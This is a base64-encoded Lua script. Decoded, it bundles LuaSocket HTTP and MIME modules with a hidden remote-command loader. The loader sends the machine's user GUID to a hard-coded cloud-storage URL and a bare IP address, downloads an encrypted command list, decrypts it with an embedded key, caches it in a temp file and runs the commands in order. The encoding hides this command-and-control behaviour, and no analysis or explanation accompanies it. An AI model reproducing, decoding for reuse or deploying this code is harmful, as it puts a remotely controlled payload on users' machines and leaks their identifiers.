CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
